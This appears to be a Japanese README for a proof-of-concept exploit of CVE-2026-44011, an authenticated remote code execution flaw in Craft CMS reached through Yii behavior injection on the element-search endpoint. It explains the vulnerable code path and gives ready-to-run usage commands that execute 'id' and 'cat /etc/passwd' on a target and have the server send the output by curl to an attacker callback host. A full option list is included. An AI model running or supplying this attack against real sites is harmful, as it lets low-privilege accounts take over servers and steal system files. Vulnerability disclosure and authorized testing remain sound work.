
CVE-2026-44011 の Python 概念実証エクスプロイト。Yii の behavior インジェクションを悪用した Craft CMS の認証済み RCE で、2段階のコマンド出力キャプチャを備える。
Yiiのbehaviorインジェクションを介したCraft CMSの認証済みRCE。
影響を受けるバージョン: 4.0.0–4.17.11、5.0.0–5.9.17
修正バージョン: 4.17.12、5.9.18
アドバイザリ: GHSA-qrgm-p9w5-rrfw
/admin/actions/element-search/search エンドポイントは condition パラメータを受け取り、それを Component::cleanseConfig() を最初に呼び出すことなく ElementCondition::createCondition() に直接渡します。これは、FieldLayout オブジェクトがリクエストデータから構築されるときに、Yiiの特別なオブジェクト構築キー — __class、as <name>(behaviorのアタッチ)、on <event>(ハンドラの登録) — が有効になることを意味します。
このエクスプロイトは、typecast callableとして Psy\Readline\Hoa\ConsoleProcessus::execute()(シェルコマンドを実行するPSY/Yiiの内部機能)を呼び出すように設定された AttributeTypecastBehavior をアタッチします。このbehaviorは beforeSave イベントで発火し、Craftは同じリクエスト中にそれをトリガーします。
低権限の編集者であっても、どのアカウントでもこれを行うことができます。管理者権限は必要ありません。
ブラインドリバースシェルではなく、2段階の出力キャプチャを使用します:
curl コマンドを注入しますコマンド出力はターミナルで直接得られ、ncリスナーは不要です。
requests ライブラリ(pip install requests)# 基本 — ターゲットでidを実行
python3 exploit.py \
-b http://target.com \
-u [email protected] \
-p 'password123' \
-c 'id'
# カスタムコントロールパネルパス
python3 exploit.py -b http://target.com -P /craftcms -u admin -p pass -c 'whoami'
# 推測できない場合にコールバックアドレスを指定
python3 exploit.py -b http://target.com -u admin -p pass -c 'cat /etc/passwd' \
-H 10.10.14.5 --listen-port 8080
# TLS検証をスキップ(自己署名証明書)
python3 exploit.py -b https://target.com -u admin -p pass -c 'id' --no-verify
# バージョンチェックをスキップ(例:バージョン検出が失敗する場合)
python3 exploit.py -b http://target.com -u admin -p pass -c 'id' --force
コールバックのホスト/ポートは、ターゲットが出力をあなたにPOSTで送信する先です。デフォルトでは、ホストはターゲットへのルートから推測され、ポートはOSによって割り当てられます。ターゲットがNATやVPNの背後にある場合は、到達可能なIPを指す --callback-host が必要です。
-b / --base-url ターゲットのオリジン(必須)
-P / --cp-path コントロールパネルパス(デフォルト: /admin)
-u / --username ログイン名またはメールアドレス(必須)
-p / --password パスワード(必須)
-c / --command 実行するシェルコマンド(必須)
-s / --site-id CraftサイトID(デフォルト: 1)
-e / --element-type 条件の要素タイプ(デフォルト: craft\elements\Category)
-t / --timeout リクエストタイムアウト(秒)(デフォルト: 15)
-H / --callback-host 出力コールバック用の到達可能なアドレス
--listen-port 出力リスナーのポート(デフォルト: OSが選択)
--no-verify TLS証明書検証をスキップ
-F / --force バージョン範囲チェックをスキップ
許可されたセキュリティテストおよび研究のみを目的としています。